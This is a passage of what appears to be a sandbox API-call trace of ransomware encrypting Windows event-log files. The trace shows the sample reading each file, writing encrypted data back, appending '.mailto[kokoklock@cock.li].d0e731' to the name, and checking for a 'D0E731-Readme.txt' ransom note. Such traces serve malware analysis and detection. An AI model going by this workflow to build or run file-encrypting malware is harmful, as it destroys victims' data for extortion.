(in: hFile=0x4a0, lpBuffer=0x716fb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x716fb64*, lpNumberOfBytesWritten=0x716fb4c*=0x4, lpOverlapped=0x0) returned 1 [0164.828] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x716fb4c*=0x4, lpOverlapped=0x0) returned 1 [0164.829] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x716fb4c*=0x6c, lpOverlapped=0x0) returned 1 [0164.829] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x716fb4c*=0x20, lpOverlapped=0x0) returned 1 [0164.829] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x716fb4c*=0x4, lpOverlapped=0x0) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0164.829] CloseHandle (hObject=0x4a0) returned 1 [0164.829] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84918 [0164.829] wcscpy (in: _Dest=0x2f84918, _Source="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" [0164.829] wcscat (in: _Dest=0x2f84918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.829] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.830] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84918) returned 1 [0164.830] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.830] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.830] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.830] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.830] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.831] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98320) returned 1 [0164.831] RtlExitUserThread (Status=0x1) Thread: id = 1540 os_tid = 0xeec [0164.832] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.832] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.832] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.832] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x71efdc0 | out: lpFileSize=0x71efdc0*=69824) returned 1 [0164.832] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.832] ReadFile (in: hFile=0x4a0, lpBuffer=0x71efd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x71efd94*, lpNumberOfBytesRead=0x71efd90*=0x4, lpOverlapped=0x0) returned 1 [0164.833] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab898 [0164.833] NtQuerySystemTime (in: CurrentTime=0x71efd6c | out: CurrentTime=0x71efd6c*=132121213221465456) returned 0x0 [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x573c8907 [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x44278d29 [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xa0f04f9b [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xd6c0b7b3 [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x5f0323e4 [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x30fe8016 [0164.833] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x58cf7a27 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xef57302d [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x55d8c1f2 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x708e720c [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xc1cf2e60 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x13e8c5a8 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xd7a095 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xcf8eb5cd [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xfd4c1760 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xdc6db05f [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xa2002cff [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xdc6d9402 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xc6fe635e [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xd5acca0d [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x155b2dbf [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x52eaee82 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xfe528f35 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xc166e94d [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x1cf837b8 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xfec973ae [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x2bedc068 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x1665ab3b [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x9b3f9d1c [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x708cd2eb [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0x5b1214c5 [0164.834] RtlRandom (in: Seed=0x71efd78 | out: Seed=0x71efd78) returned 0xe01eaa61 [0164.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.844] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.844] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.845] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.845] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x71efd44, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x71efd44*=0x4096, lpOverlapped=0x0) returned 1 [0164.846] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.846] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.846] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.846] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.846] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.846] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x71efd44, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x71efd44*=0x4096, lpOverlapped=0x0) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.847] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.847] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x71efd7c, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x71efd7c*=0x20, lpOverlapped=0x0) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0164.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.847] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x71efd90*=0x8, lpOverlapped=0x0) returned 1 [0164.847] WriteFile (in: hFile=0x4a0, lpBuffer=0x71efda8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x71efda8*, lpNumberOfBytesWritten=0x71efd90*=0x4, lpOverlapped=0x0) returned 1 [0164.847] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x71efd90*=0x4, lpOverlapped=0x0) returned 1 [0164.848] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x71efd90*=0x6c, lpOverlapped=0x0) returned 1 [0164.848] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x71efd90*=0x20, lpOverlapped=0x0) returned 1 [0164.848] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x71efd90, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x71efd90*=0x4, lpOverlapped=0x0) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.848] CloseHandle (hObject=0x4a0) returned 1 [0164.848] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x2f6ab60 [0164.848] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.848] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.848] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.849] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.850] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.850] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.850] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.850] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88090) returned 1 [0164.850] RtlExitUserThread (Status=0x1) Thread: id = 1541 os_tid = 0xef0 [0164.854] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.855] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.855] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x726fd48 | out: lpFileSize=0x726fd48*=69824) returned 1 [0164.855] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.855] ReadFile (in: hFile=0x4a0, lpBuffer=0x726fd1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x726fd1c*, lpNumberOfBytesRead=0x726fd18*=0x4, lpOverlapped=0x0) returned 1 [0164.856] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.856] NtQuerySystemTime (in: CurrentTime=0x726fcf4 | out: CurrentTime=0x726fcf4*=132121213221778520) returned 0x0 [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xe187be6c [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x93ae37ff [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x18b7a55d [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x3acb1917 [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x6e1775f9 [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xfbee30f3 [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x28bf7174 [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x5b04c88b [0164.856] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xac626657 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x9431c8a4 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x446c03f3 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xfa12b66b [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x43cca95a [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xea2f7034 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x3aca1970 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x9c5dcb7b [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xf0bc5c5b [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x95c80e78 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x6219ad90 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xcfdfc232 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x550ad8b9 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xf0fa3abf [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xb3fb7769 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x119c8f35 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x6edfd52c [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xd9cfe50c [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xe53320b8 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x4d3b339b [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0xff968e80 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x427cbf46 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x4f11b442 [0164.857] RtlRandom (in: Seed=0x726fd00 | out: Seed=0x726fd00) returned 0x9e523759 [0164.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0164.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0164.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.867] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.867] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x726fccc, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x726fccc*=0x4096, lpOverlapped=0x0) returned 1 [0164.868] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0164.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0164.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.869] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab640 [0164.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab640) returned 1 [0164.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0164.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0164.869] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x726fccc, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x726fccc*=0x4096, lpOverlapped=0x0) returned 1 [0164.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.869] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.869] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x726fd04, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x726fd04*=0x20, lpOverlapped=0x0) returned 1 [0164.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.870] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x726fd18*=0x8, lpOverlapped=0x0) returned 1 [0164.870] WriteFile (in: hFile=0x4a0, lpBuffer=0x726fd30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x726fd30*, lpNumberOfBytesWritten=0x726fd18*=0x4, lpOverlapped=0x0) returned 1 [0164.870] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x726fd18*=0x4, lpOverlapped=0x0) returned 1 [0164.870] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x726fd18*=0x6c, lpOverlapped=0x0) returned 1 [0164.870] WriteFile (in: 